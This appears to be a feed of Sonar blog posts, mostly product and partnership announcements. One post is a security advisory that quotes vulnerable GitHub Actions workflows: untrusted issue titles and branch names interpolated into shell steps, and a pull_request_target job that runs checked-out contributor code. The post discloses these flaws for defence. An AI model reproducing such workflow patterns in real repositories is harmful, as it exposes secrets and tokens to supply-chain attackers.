This is just the beginning for audit logs in SonarQube Cloud. We are committed to expanding the scope of logged events to provide even greater visibility into your development lifecycle. We want to hear from you! You can influence our roadmap and tell us which additional events you'd like to see by providing feedback on our roadmap.

Get started today

If you're a SonarQube Cloud Enterprise plan enterprise admin, you can start using the new audit logs API today. For more detailed information, please refer to our SonarQube Cloud documentation and the API endpoint documentation.

We're confident that the new audit logs feature will provide you with the traceability and control you need to ensure the security and regulatory compliance of your software development process.

Sonar launches integration program to unify code governance across the SDLC

Jeff Clawson — Thu, 23 Oct 2025 05:00:00 GMT

TL;DR overview

Sonar has launched a formal integration program enabling technology partners to build and certify integrations with SonarQube Server and SonarQube Cloud, expanding the ecosystem of tools that work alongside Sonar's code quality and security analysis.
The program provides partners with technical guidance, co-marketing opportunities, and certification criteria to ensure integrations deliver reliable, high-quality experiences for shared customers.
Certified integrations span IDEs, CI/CD platforms, project management tools, and security dashboards, giving development teams more flexibility to embed Sonar analysis into their existing workflows.
Developers and organizations can explore available partner integrations to find solutions that complement SonarQube within their specific toolchain and development environment.

The modern software development lifecycle (SDLC) is a complex ecosystem of specialized tools. From IDEs and CI/CD pipelines to observability platforms and internal developer portals, each component plays a vital role. Every development organization has adopted a unique set of these tools over time and, while this best-of-breed approach provides flexibility, it often creates data silos. Critical insights about code quality and security can become trapped within individual tools, making it difficult for developers and engineering leaders to get a view of their software health and follow consistent standards.

This challenge is magnified by the rapid adoption of AI-assisted coding. While AI tools dramatically accelerate development, they can also introduce subtle bugs and security vulnerabilities at a scale that traditional, end-of-cycle quality assurance processes simply can't handle. To address this, organizations need a way to connect their entire toolchain and embed governance directly into their existing developer workflows.

That’s why today, we are thrilled to announce the launch of the Sonar Integration Program. This strategic initiative formalizes and expands our partner ecosystem, unifying SonarQube's integrations with leading technology partners under a single, comprehensive program.

From fragmented tools to a holistic view

In a disconnected toolchain, context is king, but it's often missing. Developers have to switch between their IDE, their CI/CD pipeline, and SonarQube just to understand the state of their code. Platform engineers struggle to build effective governance models because the data they need is scattered across different systems. This friction doesn't just slow down development; it increases risk. Without a unified view, it's nearly impossible to correlate a security vulnerability in your code with its potential business impact or to ensure that all code—whether written by a developer or an AI assistant—adheres to the same high standards.

The Sonar Integration Program is our commitment to solving this challenge. The program enables a holistic ecosystem for orchestrating code quality and security across the entire SDLC. By integrating SonarQube with the tools your teams already use, we make its analysis pervasive, from the first line of code to production monitoring.

This program launches with an incredible ecosystem of partners, bringing Sonar's analytics into every stage of the development lifecycle, including:

CI/CD & DevOps Automation: Automating code analysis and quality gates within the pipeline to provide feedback on every commit in tools like GitHub, GitLab, Jenkins, and Azure DevOps.
AI development & modern IDEs: Empowering the next generation of development with real-time feedback in tools like Google Gemini IDE, Cursor, and VS Code.
Security & SAST: Shifting security left by embedding vulnerability detection into platforms like JFrog, Palo Alto Networks - Prisma, and Docker Scout.
Developer experience: Providing a holistic view of code health in developer portals like Port, Cortex, and Jellyfish.
Observability and monitoring: Connecting code quality metrics with application performance data from Datadog, Dynatrace, and Splunk.
Business & service platforms: Linking code quality data to business outcomes in systems like Atlassian Jira and ServiceNow.

Seamless integration for AI agents

A cornerstone of our strategy for AI partners is the new SonarQube MCP Server. Built on the open Model Context Protocol (MCP), this free, source-available server acts as a universal bridge, allowing any AI agent or AI-native IDE to connect seamlessly with SonarQube. For our partners, this eliminates the need to build and maintain brittle, one-off custom integrations. By adopting this open standard, partners can easily give their users direct access to Sonar's trusted analysis within their favorite tools, addressing the "Engineering Productivity Paradox" where time gained by AI is lost to manual verification. We've already seen this in action with partners like Cursor, Google Gemini, and Anthropic Claude, who use the MCP server to make Sonar's insights a native part of their experience. Partners interested in leveraging this technology can learn more in our MCP Server announcement blog.

Targeted value for every role

Sonar delivers targeted benefits across your organization, from the developer's keyboard to the executive dashboard.

For developers: Stay in the flow, write quality code

By embedding code quality and security feedback directly into the tools developers use daily, the program eliminates disruptive context switching. Developers can find and fix issues in real-time within their favorite developer tools including Gemini and VS Code, manage their backlog through their ticketing tools, catch vulnerabilities before they reach the pipeline, and ensure only high-quality code gets merged through automated CI/CD checks. Get analysis results and quality gate status directly in your GitLab merge requests, helping you to quickly identify and fix issues before merging.

For managers: Gain visibility, boost productivity

The program provides engineering leaders with the data-driven insights needed to track key metrics and enforce consistent standards. Integrations with developer experience platforms like Port and Cortex help measure and improve team performance. By aggregating security findings, managers get a holistic view of their security posture. And by automating issue creation and tracking in platforms like Jira and ServiceNow, workflows are streamlined to ship better software, faster.

For business leaders: Mitigate risk, drive business value

The program connects code quality to strategic business outcomes and ensures governance. By integrating with security partners like JFrog, you can secure your software supply chain and protect your artifacts from vulnerabilities. For compliance, integrations with platforms like Drata automate checks and generate audit-ready reports. By correlating code quality with production data from tools like Datadog and Splunk, executives can connect code health to application performance. This allows for true business impact analysis, linking the health of your code to systems like SAP and ServiceNow to understand the true cost of technical debt.

Building the future of software development, together

The launch of the Sonar Integration Program is a major step toward our vision of a development world where code quality and security are seamless, automated, and deeply integrated into the fabric of the SDLC. We believe that by working closely with our technology partners, we can create a powerful, interconnected ecosystem that empowers every developer to deliver better, safer software. This is just the beginning. We are actively expanding our network of partners and building new integrations to meet the evolving needs of development teams everywhere.

We have integrations available in three categories: First Party – Those built by, maintained and supported by Sonar, Sonar Certified – Those built by our ISV partners and validated by Sonar, and Third Party – ISV provided integrations that are not officially validated by Sonar. Here are the integrations you will find on our integrations page:

Get Involved

Explore our integrations: To see our complete list of integrations and learn more about how Sonar partners with leading technology providers, visit our new integrations page.
Become a partner: If you're interested in joining the Sonar Integration Program and delivering enhanced value to our joint customers, please send an email to tech-partners@sonarsource.com

Announcing SonarSweep: Improving training data quality for coding LLMs

Tariq Shaukat — Tue, 21 Oct 2025 05:00:00 GMT

TL;DR overview

SonarSweep is Sonar's new service for remediating, securing, and optimizing the coding datasets used to train and fine-tune LLMs—tackling the root cause of bugs and vulnerabilities in AI-generated code.
Models fine-tuned with SonarSweep-processed data produced code with up to 67% fewer security vulnerabilities and up to 42% fewer bugs versus models trained on the original unfiltered datasets—without degradation in functional performance.
SonarSweep analyzes training datasets using Sonar's analysis engines across 35+ languages, automatically fixing over 6,700 types of quality and security issues and filtering out low-quality code before fine-tuning.
Now available in early access, SonarSweep is targeted at LLM providers and enterprises building specialized or foundational coding models that require higher standards of output quality.

The promise of AI-assisted coding is immense, but it rests on a simple, fundamental reality: the quality and security of the code generated by a Large Language Model (LLM) depends on the quality of the data that it was trained on. Recent research from Anthropic has shown that even a small amount of malicious or poor quality training data can have a massively negative impact on a model’s performance, exposing users to significant security and quality issues.

This isn’t just a theoretical problem. It is a trend confirmed by our recent research. The large and small language models that developers rely on generate code that contains bugs and critical security vulnerabilities. This is the natural outcome of models trained on vast public datasets where bad code is inevitably mixed with good. The adage of “garbage in, garbage out” has never been more relevant—or more costly.

At Sonar, we have found that the inverse is also true. If poor data has an exponentially negative effect, then high-quality data can deliver an exponentially positive one.

Our research has demonstrated that systematically improving the quality of model training data leads to a substantial improvement in the quality and security of the code an LLM produces.

That is why we built SonarSweep.

SonarSweep is a service designed to remediate, secure, and optimize the coding datasets used in model pre-training and post-training (including via supervised fine-tuning and reinforcement learning).

It employs Sonar’s industry-leading code analysis engines and expertise to “sweep,” the code datasets used in model training at scale. This ensures the datasets contain far fewer examples of quality and security issues and more examples of high-quality code.

In short, SonarSweep proactively ensures that models learn from high-quality and secure examples throughout their training, from pre-training to model alignment. This is an essential step to building reliable and trustworthy AI coding models.

The SonarSweep impact: Proven results

SonarSweep’s effectiveness comes from Sonar’s unique ability to identify and automatically fix over 6,700 different types of quality and security issues in the training datasets. It can operate highly effectively at large scale, as it is built on the same SonarQube technology that analyzes over 750 billion lines of code each day, across over 35+ different programming languages.

To validate our approach, we conducted extensive tests across a wide spectrum of models, from 1.5 billion parameters to hundreds of billions (including Llama 3.1 70B and GPT-4o). Through Sonar’s comprehensive analysis on over 4,442 unique Java coding assignments, we found that models fine-tuned with SonarSweep-processed data generated code with:

Up to a 67% reduction in security vulnerabilities
Up to a 42% reduction in bugs

Crucially, these significant gains in code quality and security were achieved without degradation in the functional correctness of the output.

Where sweeping adds value

Coding is one of the killer apps of the generative AI world. But, while the current generation of large foundation models from companies like OpenAI and Anthropic provide increasingly functionally correct code (though still with significant bugs, security issues, and maintainability concerns), they are not a fit for every situation. Enterprises and LLM providers have the need to improve or customize their models for a range of purposes including:

Foundation model companies looking to improve their models to make them more security, quality, and maintainability conscious.
Open source model developers looking to drive improved performance with smaller budgets and less training data access than the competition.
Enterprises such as financial institutions, public and defense sectors, who need to develop or tailor custom models to run in their private environments.
Agentic AI companies and enterprises leveraging distillation techniques to develop Small Language Models (SLMs) that can operate at a lower cost and higher performance for specific tasks. These models are often developed on platforms such as those provided by Databricks and IBM.

Today, companies have to hire hundreds or thousands of contract software developers to vet their code training datasets. This is expensive, not scalable, and hard to deploy for all but the largest companies. SonarSweep transforms these initiatives, ensuring high functional performance at lower risk and substantially lower cost.

Now available in early access

We are excited to announce that SonarSweep is now available in early access. As part of this program, we are engaging with the world’s leading companies to train both general and specialized LLMs that excel in generating performant, reliable, and secure code.

Sonar honored in Fast Company's Next Big Things in Tech

Katie Hyman — Thu, 16 Oct 2025 05:00:00 GMT

TL;DR overview

Sonar was honored in Fast Company's Next Big Things in Tech list, recognizing the company's work in code quality and AI code verification.
The recognition highlights Sonar's role in helping organizations manage the growing volume of AI-generated code through automated analysis and quality gate enforcement.
Fast Company's list recognizes emerging technologies and companies poised to have a significant impact on business and society.
Sonar is trusted by over 7 million developers and 400,000 organizations to analyze more than 750 billion lines of code daily.

We’re excited to announce that Sonar has been named a Fast Company Next Big Things in Tech honoree for Applied AI! This prestigious award honors technology breakthroughs poised to define the future of their industries. For Sonar, this recognition demonstrates our commitment to addressing one of the biggest dilemmas facing developers today — ensuring the quality and security of all their code.

Sonar has been the leader in code quality for over 15 years. Since our inception, we've been on a mission to empower developers to build better software, faster. This mission is more critical than ever as AI revolutionizes software development, introducing new challenges to code quality and code security.

The engineering paradox: speed vs. trust

AI is revolutionizing how we create software, allowing teams to code faster than ever before. However, this speed comes with a significant challenge. What we call the “engineering productivity paradox.”

AI-generated code can introduce complex, hard-to-detect flaws, creating an accountability gap and a "crisis of trust.” This leaves development leaders with a difficult choice: embrace the speed of AI and inherit a mountain of hidden risk, or stick to traditional methods and fall behind.

At Sonar, we believe you shouldn’t have to choose.

The Sonar solution: Vibe, then verify

Our code quality and security solution, SonarQube, empowers development teams to adopt AI with confidence by providing a crucial safety net. Our approach is rooted in a simple yet powerful principle: “vibe, then verify.” Let your teams rapidly create code with AI-powered tools (“vibe”), and then use Sonar to rigorously ensure its quality, security, and stability (“verify”).

Fast Company has recognized Sonar as a Next Big Thing in Tech for our cutting-edge AI innovations we’ve made that support this approach.

AI CodeFix: This capability revolutionizes the remediation process. When SonarQube’s static analysis engine detects a bug or vulnerability, AI CodeFix uses a Large Language Model (LLM) to generate a highly-contextual and accurate fix suggestion. This surgical approach to repairing code has delivered significant value to our users, with 70% rating the quality of fixes as a 4 or 5 out of 5.
AI Code Assurance: We’ve established a stricter "Sonar way for AI Code" Quality Gate, ensuring that all code, whether written by a human or an AI, is subject to rigorous analysis before it reaches production. This provides the visibility and accountability that enterprises need to safely adopt AI development tools.
AutoCodeRover: Looking to the future, our agentic AI will be able to autonomously perform complex, multi-step tasks like deep debugging and comprehensive refactoring. AutoCodeRover (acquired by Sonar in February 2025) has a unique ability to analyze program structure and infer developer intent that allows it to understand the broader context of the code, enabling it to carry out sophisticated remediation strategies while operating within our "human-in-the-loop" philosophy.

Providing governance for AI code, delivering precise AI-powered fixes, and automating complex remediation is what makes SonarQube a business critical solution. We are not just participating in the AI trend; we are shaping its responsible and effective application. Our goal is to free developers from routine maintenance and technical debt, giving them back their most valuable resource: the time and creative energy to innovate.

This recognition from Fast Company is a testament to our team's hard work, the input from our strong community, and the real-world value our technology provides. We’re proud to lead this new era and shape a future where AI enhances code quality.

Securing GitHub Actions With SonarQube: Real-World Examples

Yaniv Nizry — Tue, 14 Oct 2025 22:00:00 GMT

TL;DR overview

GitHub Actions workflows triggered by pull_request_target run with write access to the base repository and its secrets—making them a high-severity attack surface when they process untrusted input from pull requests without sanitization.
Sonar's research identified real-world command injection vulnerabilities in GitHub Actions where user-controlled data from pull request metadata is interpolated directly into run: steps without quoting or sanitization.
The Nx incident demonstrated the real impact: a compromised Action allowed command injection and theft of an npm publishing token, enabling a full software supply chain attack downstream.
Teams should audit all pull_request_target workflows for untrusted input exposure, use proper escaping, restrict GITHUB_TOKEN permissions to the minimum necessary, and apply SonarQube's GitHub Actions analysis rules.

The automation and convenience offered by GitHub Actions have made them an indispensable part of modern software development workflows. These powerful tools, however, are not immune to security vulnerabilities. At Sonar, we're excited to introduce you to our enhanced GitHub Actions analysis capabilities, designed to proactively identify and help developers remediate security weaknesses directly within their CI/CD pipelines.

By showcasing real-life examples of vulnerabilities SonarQube detected during our continuous scans of open-source projects, we will demonstrate the engine's capabilities and dive into the specific types of vulnerabilities that can arise in GitHub Actions and underscore their potential impact on your development environment and the security of your software supply chain. Understanding these risks is the first crucial step towards writing more secure and resilient GitHub Actions.

Impact

A compromised GitHub Action can have severe, case-by-case impacts that depend on various factors such as the action's permissions, the secrets it accesses, and the scope of the repository it runs in. An attacker who injects malicious code into a workflow can execute arbitrary commands on the runner environment, potentially allowing them to steal credentials (like cloud keys or personal access tokens), or tamper with the build and deployment process, which is a significant supply chain risk for downstream users.

Earlier this year, we saw an in-the-wild example in the Nx "s1ngularity" incident. In that specific case, a vulnerability in an Nx GitHub Actions workflow allowed an attacker to perform command injection and steal the project's npm publishing token. This critical initial step enabled the attacker to publish malicious versions of the popular Nx packages to the official npm registry, which in turn infected thousands of downstream developers and organizations. The malware then proceeded to steal thousands of credentials.

In this blog, we will cover the common use cases of command injection and code execution vulnerabilities, with an additional interesting pitfall that developers might fall into. Some of the vulnerabilities we disclosed are redacted as they are yet to be fixed, but the public ones are tracked as:

serverless-dns GHSA-9g7x-737f-5xpc fixed in c5537dd tracked as CVE-2025-61584
meshtastic/firmware GHSA-6mwm-v2vv-pp96 fixed in e03f3de tracked as CVE-2025-53637

Technical Details

GitHub Actions background

GitHub Actions live inside your GitHub project and are defined in YAML files under the .github/workflows directory. Each workflow outlines one or more jobs, and each job contains a series of steps, specifying what actions to take, when to trigger them (e.g., on a code push or pull request), and the environment in which they should execute. Acting as the blueprint for your continuous integration, deployment, and other automation tasks, making it easy to understand and manage your automation logic directly alongside your code

Commonly, GitHub Actions are used as Continuous Integration and Continuous Delivery (CI/CD) pipelines, performing tasks such as automated builds, tests, deployments, and more. However, they are capable of doing whatever developers can script, as they essentially provide a full containerized environment.

But as with every technology, there are some risks involved; if not used safely, attackers might exploit vulnerable workflows and potentially lead to a devastating impact for their victims. GitHub does emphasize the importance of security and best practices when writing workflows; they provide official documentation and explanations on the topic. Despite their best efforts, developers might still make mistakes. This is where SonarQube comes in. With our new analyzer, we started supporting static scanning of your GitHub actions, and the best part is that it's completely free for open-source projects!

Command injection

Let's dive into the details, starting with a straightforward case. SonarQube reported a command injection vulnerability in the following workflow:

name: <redacted>
on:
  push:
    branches:
      - master
  pull_request_target:
    types: [opened, edited, reopened, closed]
 issues:
    types: [ opened, edited]

jobs:
  <redacted>:
    runs-on: ubuntu-latest
    name: <redacted>
    steps:
    - name: <redacted>
       if: ${{ github.event_name == 'issues' && github.event.action == 'opened' }}
      run: |
        MESSAGE="New issue ${{ github.event.issue.title }} ...

Here, when a new issue is created, the workflow is triggered. During its execution in the run command, the code interpolates the issue’s title into the shell command line. Every GitHub user can open an issue in this public repository, so the variable github.event.issue.title should be treated as untrusted input. Because there is no sanitization and the string is simply interpolated into the command line, an attacker can create an issue with a command injection payload in the title that will then execute in the context of the action runner.
As a rule of thumb, GitHub recommends that every content field that ends with body, default_branch, email, head_ref, label, message, name, page_name, ref, and title should be treated as untrusted.

pull_request_target Command injection - CVE-2025-53637

The second example is similar to the first finding; however, this is using the pull_request_target event trigger. From a security standpoint, the difference between pull_request and pull_request_target is crucial. Workflows triggered by pull_request run in the context of the pull request branch, having a limited read-only GITHUB_TOKEN. Conversely, workflows triggered by pull_request_target run against the base branch of the repository and can have write access to the repository's contents and secrets via the GITHUB_TOKEN. This elevated permission level means that a successful exploit using a pull_request_target workflow can lead to a severe supply chain compromise, potentially allowing an attacker to modify the repository's code, publish releases, or steal secrets, even from an untrusted contributor's pull request. The severity of this risk, however, is highly dependent on the repository's configuration, specifically the branch protection rules on the base branch and the explicit permissions defined for the workflow's GITHUB_TOKEN.

Try it yourself in SonarQube Cloud

This finding showcases a straightforward vulnerability as the github.head_ref is taken from the untrusted branch name, which can contain a command injection payload. Following our report, the downstream project has fixed the issue using the official best practices mitigation.

Command injection mitigation

When looking at the official best practices for mitigating command injections, GitHub recommends adding the untrusted fields into an environment variable and then using that in the command line. This will prevent the untrusted data from being interpreted as executable code by the shell, as the contents of the environment variable are typically passed as a single argument or value:

jobs:
  safe-echo-body:
    runs-on: ubuntu-latest
    steps:
    -  env:
        BODY: ${{ github.event.issue.body }}
      run: |
         echo "$BODY"

Command injection mitigation pitfall - CVE-2025-61584

Despite the comprehensive explanations given by GitHub, there is an interesting pitfall that developers might fall into. Especially when this pitfall is given as an example by GitHub in their official documentation, not when using untrusted input:

Did you notice the subtle difference?

The environment variables in the second example are used in the run command line as such: run: echo "${{ env.First_Name }}" instead of run: echo "$First_Name". While in this case the First_Name environment variable isn’t controlled by an untrusted user, the interpolation here is performed in an unsafe manner because it uses GitHub Actions' context and expression syntax (${{ …}}) to insert the environment variable's value before the job is sent to the runner's shell for execution. This bypasses the shell's built-in defense mechanism that typically handles environment variables, meaning that if this environment variable were user-controlled, this would have been a valid vulnerability.

And to demonstrate this, SonarQube detected such a vulnerability in serverless-dns:

Try it yourself in SonarQube Cloud

This was fixed following our report using the environment variable safely.

Code execution

The final major vulnerability we will cover is Code Execution within GitHub Actions workflows. Unlike the direct and easily identifiable signs of Command Injection (e.g., untrusted input in a shell command), this vulnerability is often harder to detect as it relies on ambiguous commands, or third-party Actions being executed on user-controlled code.

Consider the following workflow example with the SonarQube report, taken from an undisclosed project:

name: <redacted>
on:
  pull_request_target:
    types:
      - opened
      - edited
      - synchronize
      - labeled
      - unlabeled

jobs:
  <redacted>:
    runs-on: ubuntu-22.04
    permissions:
      contents: write
    steps:
# ...
      - name: Checkout Code
        uses: actions/checkout@v4
        with:
          ref: ${{github.event.pull_request.head.ref}}
          repository: ${{github.event.pull_request.head.repo.full_name}}
# ...
      - name: Generate manpage
        uses: actions-rs/cargo@v1
        with:
          command: run
# ...

While there is no obvious command injection flaw, the combination of three critical steps creates a high-severity vulnerability:

The pull_request_target trigger and elevated permissions - The workflow is triggered by the pull_request_target event. As previously discussed, this event is designed to run in the context of the base branch (the repository where the workflow resides), not the untrusted head branch.
But more crucially, the workflow checks out the untrusted code - By explicitly setting repository and ref to point to github.event.pull_request.head.repo.full_name, and github.event.pull_request.head.ref, it checks out the full, untrusted code from the contributor's repository (the head branch) into the runner's working directory.
The job then proceeds to execute a third-party Action, actions-rs/cargo@v1, with the command run. This will execute Rust's cargo run command, which simply runs the current package. Since the “package” code is fully user-controlled, an attacker can write arbitrary Rust code that will then be executed

This case is a clear example of checkout code being executed. However, many times developers may not be aware of what the third-party GitHub Actions are actually doing behind the scenes. The hidden nature of this type of vulnerability makes it a far more insidious and challenging supply chain risk than traditional command injection. Because developers often trust the actions they import from the GitHub Marketplace or verified vendors, they may not scrutinize what those actions do when pointed at untrusted, user-controlled code.

Timeline

Date	Action
2025-04-15	We report all issues to various vendors
2025-04-16	meshtastic/firmware confirms the issues
2025-04-19	serverless-dns confirms the issues
2025-04-20	meshtastic/firmware releases patch
2025-04-26	serverless-dns releases patch
2025-06-10	meshtastic/firmware publishes GHSA-6mwm-v2vv-pp96 advisory
2025-09-29	serverless-dns publishes GHSA-9g7x-737f-5xpc advisory

Summary

This blog post highlights the critical security risks inherent in using GitHub Actions and introduces SonarQube's enhanced analysis capabilities designed to detect and help remediate these vulnerabilities directly within CI/CD pipelines. We took a closer look at the technical details of some vulnerabilities and showcased the power of SonarQube by using real-world examples of vulnerabilities we found with it.

A compromised action can lead to severe consequences, including the theft of credentials and the potential for a full-scale software supply chain attack, as demonstrated by the high-profile Nx "s1ngularity" incident, where a vulnerability allowed command injection and the theft of an npm publishing token. Understanding these risks is essential for developers.

SonarQube and Port: Bringing code quality and security metrics into your software catalog

Jeff Clawson — Mon, 13 Oct 2025 13:00:00 GMT

TL;DR overview

SonarQube integrates with Port, an internal developer portal platform, surfacing code quality gate status, issue counts, and security findings directly in Port's software catalog and service scorecards.
The integration gives platform engineering teams a unified view of code health across services and repositories, without requiring developers to navigate to the SonarQube dashboard separately.
By exposing SonarQube metrics in Port's entity model, engineering leaders can track quality standards compliance at the portfolio level and identify services that require attention before issues compound.
The integration supports Port's golden path workflows, ensuring new services and repositories start with SonarQube analysis configured as part of the standard onboarding process.

At Sonar, we’re dedicated to helping development teams build trust into every line of code. We believe that developing secure quality code shouldn't be an afterthought; it should be a core part of the development lifecycle. But in today's complex world of microservices and distributed architectures, maintaining visibility across all projects and teams is a challenge. Information gets siloed, making it difficult for developers, managers, and platform teams to get a clear, contextualized view of their organization's code health.

That’s why we’re excited to announce our partnership with Port, the creator of a leading internal developer portal. By integrating SonarQube's best-in-class code quality and security analysis directly into Port's software catalog, we’re providing a single pane of glass for engineering organizations to build better, more secure software, faster.

A centralized view for all stakeholders

The Sonar and Port integration is designed to provide clear, actionable insights and allow significant operability between SonarQube and Port. By enriching Port’s catalog of technical assets with deep code-level intelligence from SonarQube, we unlock powerful new capabilities for different roles.

For engineering leadership

Gaining a high-level perspective without drowning in details is key for effective leadership. This integration provides a comprehensive overview of your organization's code quality and security posture at a glance.

Comprehensive dashboards: Access dashboards in Port that aggregate Sonar metrics, offering a complete view of code quality and security across all teams.
Track quality gates: Monitor the status of SonarQube quality gates for every service directly within the developer portal, ensuring standards are met consistently across the board.
Centralize standards: Easily see how coding standards are being adopted and administered organization-wide.

For developers

Developers need to focus on shipping features, and context switching between tools slows them down. By surfacing SonarQube data directly in Port, we bring critical information into their daily workflow, right where they manage their services.

Quality-focused prioritization: Developers can see critical quality and security issues related to their team's code right inside Port, helping them prioritize remediation tasks effectively.
Full context: Sonar's code quality, security, and coverage information is displayed alongside the service's ownership details, dependencies, and other technical assets in the catalog, providing a holistic view.
Streamlined remediation: Quickly navigate from a service in Port directly to the detailed analysis in SonarQube to explore and fix issues.

For platform & DevOps teams

Platform teams are responsible for enabling developers and ensuring organizational standards are met. This integration makes it easier than ever to drive the adoption of SonarQube and maintain a consistent quality bar.

Monitor Sonar adoption: Track the percentage of services that have SonarQube integrated, and identify those that don't.
Discover and Enable: Easily discover services that are not yet being analyzed by SonarQube and use Port’s self-service actions to enable them, ensuring complete coverage.
Automate onboarding: When adding a new service to the catalog, you can onboard it to SonarQube in the same single action.

How it works

The integration is seamless. Port uses the SonarQube API to ingest project analysis data and display it within its software catalog. You can configure Port to pull key metrics such as:

Reliability (bugs)
Security (vulnerabilities)
Maintainability (code smells)
Coverage
Duplications
Quality gate status

This information can then be used to populate dashboards, create scorecards, and set organizational quality initiatives directly within your developer portal. For Port customers who aren't yet using SonarQube, a dedicated widget in the integrations marketplace helps them discover SonarQube as the preferred solution for code quality and security.

Better together

Implementing and managing code quality at scale requires clear insights and frictionless workflows. Our partnership with Port brings together Sonar's best-in-class code analysis with Port's powerful software catalog to create a centralized hub for engineering excellence. Now, our mutual customers can build trust in all their code—whether developer-written or AI-generated—while improving developer experience and operational efficiency.

To get started, check out the Port integration documentation or watch the on-demand webinar. Begin enriching your software catalog with SonarQube data today.

SonarQube Named a Leader and Fast Mover in GigaOm's Application Security Testing Radar

Manish Kapur — Wed, 08 Oct 2025 13:00:00 GMT

TL;DR overview

SonarQube has been named a Leader in the GigaOm Radar for Application Security Testing, recognizing its strong detection capabilities, developer-centric workflow integration, and breadth of language coverage.
GigaOm Radar reports evaluate vendors on technical capabilities, business criteria, and forward momentum; a Leader designation indicates strong performance across both current capabilities and future trajectory.
The recognition highlights SonarQube's position as an integrated code quality and code security platform rather than a point security tool, differentiating it from AST vendors that focus solely on vulnerability detection.
SonarQube is trusted by over 7 million developers and 400,000 organizations, analyzing more than 750 billion lines of code daily.

We are excited to share that Sonar has been named a Leader and Fast-Mover in the latest GigaOm Radar for Application Security Testing (AST). Following an in-depth evaluation of 27 vendors, GigaOm positioned Sonar in the top-tier ‘Maturity/Platform Play’ quadrant, recognizing our significant impact on the market."

The GigaOm Radar plots vendors across two axes: Maturity vs. Innovation and Feature Play vs. Platform Play. Sonar's position as a Leader in the upper-right quadrant signifies a solution that offers both the stability and emphasis on continuity of a mature vendor, combined with the broad functionality of a platform solution.

A proactive approach to code quality and security

Sonar is the gold standard for integrated code quality and code security. Our strategy centers on a developer-first, "shift-left" approach, which integrates security and quality into the development workflow. For over 16 years, Sonar has built trust with more than 7 million developers across 400,000 organizations. Our platform’s proactive approach focuses on checking every new line of code as it's written.

Sonar provides the industry’s broadest coverage, with thousands of quality and security rules covering over 35 languages. This enables development teams to build trust in all code—whether it's developer-written or AI-generated—and to integrate seamlessly with AI coding tools.

Industry recognition for a comprehensive platform

The GigaOm Radar for AST report highlights several of Sonar's key strengths. SonarQube’s comprehensive capabilities are reflected in its placement on the GigaOm Radar chart. The report notes:

CVE feeds: The solution integrates CVE information through its Software Composition Analysis (SCA) function. It scans third-party dependencies, checks them against vulnerability databases like NVD, and enriches findings with curated data from Tidelift’s maintainer network for better accuracy.
Mobile app security: Sonar’s SAST engine provides mobile application security testing by analyzing source code in languages such as Java, Kotlin, and Swift. The company is also enhancing its mobile-specific risk detection with planned support for OWASP Mobile Top 10 reports.
Traditional app support: SonarQube offers extensive analysis for legacy languages like COBOL, JCL, Apex, and PL/I, allowing large organizations to standardize their AST practices across diverse technology portfolios.

Your partner in building secure, high-quality code

GigaOm’s validation of Sonar as a Leader provides a good opportunity to reflect not just on what we've built, but how our customers use SonarQube to drive impact every day. From scaling secure development across thousands of engineers to confidently adopting AI coding tools, organizations consistently choose Sonar for its combination of speed, accuracy, and strong developer adoption.

We’re thankful for GigaOm's recognition because it is more evidence that organizations using Sonar can be confident they are partnering with a platform validated by one of the industry's most trusted analyst firms.

Discover why GigaOm placed Sonar at the forefront of the Application Security Testing market. Download the report today.

Announcing SonarQube MCP Server

Manish Kapur — Tue, 07 Oct 2025 13:00:00 GMT

TL;DR overview

SonarQube MCP Server is now generally available—a Model Context Protocol (MCP) server that enables AI coding agents to interact with SonarQube's code quality and security platform using natural language.
The server runs as a local Docker container and connects any MCP-compatible AI tool (Cursor, Windsurf, GitHub Copilot, Gemini CLI, Amazon Q Developer) directly to SonarQube Server or Cloud for on-demand analysis and issue management.
Developers can query quality gate status, analyze code snippets for issues, manage SCA dependency risks, and update issue statuses—all without leaving their AI-native IDE.
The SonarQube MCP Server is free and transforms an AI coding agent from a code generator into a full code review and quality assurance co-pilot.

AI is transforming software development and turbocharging many aspects of a developer's daily work. But it’s also bringing new challenges to your teams: how do you maintain code quality and security standards as the volume of AI-generated code doubles, triples, or increases even more exponentially?

Today, we’re excited to announce the general availability of the SonarQube Model Context Protocol (MCP) Server, a new tool designed to bridge the divide between the productivity offered by AI coding tools and the quality assured by Sonar with its SonarQube automated code review solutions.

Rated #1 on G2, SonarQube is the industry’s leading integrated code quality and security solution trusted by over 7 million developers. With SonarQube MCP Server, your favorite coding agents can work seamlessly on issues identified by SonarQube, ensuring all agent-generated code meets established code quality standards.

What is SonarQube MCP Server?

The SonarQube MCP Server is a Model Context Protocol (MCP) server that runs locally on any machine and enables a seamless connection between your AI agents and your SonarQube platform. The SonarQube MCP Server integrates directly with SonarQube (Cloud and Server). Its primary purpose is to facilitate code quality and security analysis within the context of an AI agent’s workflow inside of the IDE or CLI. Instead of context-switching between your AI-native IDE and SonarQube, your developers can get instant, governed feedback directly from their AI agent.

By acting as a universal translator, the MCP server provides a standardized way for AI applications to communicate with SonarQube’s powerful analysis capabilities. It allows AI tools to do everything from analyzing a code snippet for issues to checking a project's quality gate status.

Key use cases

The SonarQube MCP Server transforms your AI coding agent from a simple code generator into a full-fledged code review and quality assurance co-pilot. Here are some of the ways you can use it to improve your workflow:

Code quality management: Manage and analyze code quality issues across multiple projects at once. Your AI agent can retrieve a list of all projects, filter issues based on severity or status, and even change an issue’s status, such as marking it as a false positive.
On-demand code analysis: Ask your AI agent to analyze a new file or code snippet for quality and security issues before it’s even committed. The local MCP server allows AI agents to retrieve metrics and project health information.
Project health checks: An AI agent can use the server to retrieve a project’s quality gate status, instantly letting you know if a project is ready for release.
Software Composition Analysis (SCA): For teams using SonarQube with Advanced Security, the server can be used to check a project for SCA dependency issues.

Integrations & availability

The SonarQube MCP Server connects to a wide and growing ecosystem of AI assistants, CLIs, and code editors. Deploy it from MCP marketplaces and bring SonarQube code quality analysis into your AI-driven workflow.

Marketplaces: SonarQube MCP Server is available on MCP marketplaces such as Docker MCP Hub, Anthropic MCP Market, and MCP.so.
Claude: Give the Claude assistant family (including Claude Code and Desktop) direct access to SonarQube’s analysis capabilities.
Codex CLI: Enable the Codex CLI to invoke SonarQube's analysis within your prompts, ensuring AI-assisted tasks consider code quality from the start.
Cursor: Achieve seamless integration with the Cursor IDE, allowing its agent to communicate directly with SonarQube Server and Cloud.
Devin: Integrate SonarQube's code quality and security standards directly into the workflow of the Devin AI software engineer.
Windsurf: The MCP server is fully supported and available as a dedicated plugin for the Windsurf IDE.
Gemini CLI: The MCP server acts as a bridge for the Gemini CLI, giving the agent access to SonarQube's custom tools and analysis.
